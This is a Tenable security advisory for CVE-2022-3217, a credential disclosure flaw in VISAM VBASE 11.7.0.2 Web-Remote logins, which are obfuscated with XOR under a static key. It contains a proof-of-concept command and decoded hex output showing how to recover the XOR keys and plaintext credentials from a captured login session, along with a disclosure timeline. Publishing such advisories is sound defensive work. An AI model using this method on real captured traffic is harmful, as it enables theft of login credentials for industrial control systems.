VISAM VBASE v11.7.0.2 Credential Disclosure

High

← View More Research Advisories

Synopsis

Tenable found a credential disclosure vulnerability in VISAM VBASE 11.7.0.2. When logging in to a VBASE runtime project via Web-Remote, the product uses XOR with a static initial key to obfuscate login messages. An unauthenticated remote attacker with the ability to capture a login session can obtain the login credentials.

PoC:

```
python3 vbase_web_remote_credential_disclosure.py -f vbase_web_remote_11.7.0.2_login_success.pcapng -p 81
[-- Initial XOR decoding key --]
00000000: 54 3E 4C 4D 44 3A 54 30  50 36 4A 51 57 3C 51 3E  T<LMD:T0P6JQW<Q>
00000010: 56                                              V
[-- client WebSocket payload --]
00000000: 18 71 0B 04 0A 68 11 61  05 73 19 05            .q...h.a.s..
[-- client WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 52 45 51  55 45 53 54            LOGINREQUEST
[-- server WebSocket payload --]
00000000: 18 71 0B 04 0A 68 11 61  05 73 19 05 73 6C 62 5C  .q...h.a.s..slb\
00000010: 66 34 65 04 73 1F 65 00  59 6B 17 15 3B 31       f4e.s.e.Yk..;1
[-- server WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 52 45 51  55 45 53 54 24 50 33 62  LOGINREQUEST$P3b
00000010: 30 60 5B 48 3E 5B 5F 54  69 3B 21 5F 6A 66       0`[H>[_Ti;!_jf
[-- New XOR decoding key --]
00000000: 50 33 62 30 60 5B 48 3E  5B 5F 54 69 3B 21 5F 6A  P3b0`[H>[_Ti;!_j
00000010: 66                                              f
[-- client WebSocket payload --]
00000000: 1C 7C 25 79 2E 7F 29 5A  36 36 3A 4D 4B 40 2C 19  .|%y..)Z66:MK@,.
00000010: 11 3F 41 06 01 52 68                            .?A..Rh
[-- client WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 24 61 64  6D 69 6E 24 70 61 73 73  LOGIN$admin$pass
00000010: 77 6F 72 64 31 32 33                            word123
```

```
[-- server WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 5F 4F 4B  24 4E 54 49 77 4D 47 46  LOGIN_OK$NTIwMGF
00000010: 6B 62 57 6C 75 4D 44 45  77 4D 6A 49 77 4D 6A 49  kbWluMDEwMjIwMjI
00000020: 78 4E 44 55 34 4D 54 59  3D                       xNDU4MTY=
```

As shown above, the login process is simple:

- Client sends text 'LOGINREQUEST' XORed with an initial static key.
- Server sends 'LOGINREQUEST$'; this message is XORed with the initial key.
- Client decodes server's LOGINREQUEST message using the initial key, extracting the new XOR key.
- Clients sends 'LOGIN$$' XORed with the new key.
- Server decodes client's credentials using the new XOR key.

If the credentials are correct, the server returns 'LOGIN_OK$'. Otherwise, it returns 'LOGIN_FAILED'.

Solution

Contact vendor for solution.

Disclosure Timeline

02/08/2022 - Vulnerability Discovered
04/11/2022 - First contact attempt
04/26/2022 - Second contact attempt
05/10/2022 - Final contact attempt
05/11/2022 - Vendor responds
05/11/2022 - Vulnerability disclosed
07/15/2022 - Tenable asks for update
09/12/2022 - Tenable asks for update

Risk Information

CVE ID: CVE-2022-3217
Tenable Advisory ID: TRA-2022-31
CVSSv3 Base / Temporal Score: 8.8/8.3
CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: VISAM VBASE
Risk Factor: High

Advisory Timeline

September 14, 2022 - Advisory published

tenable

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors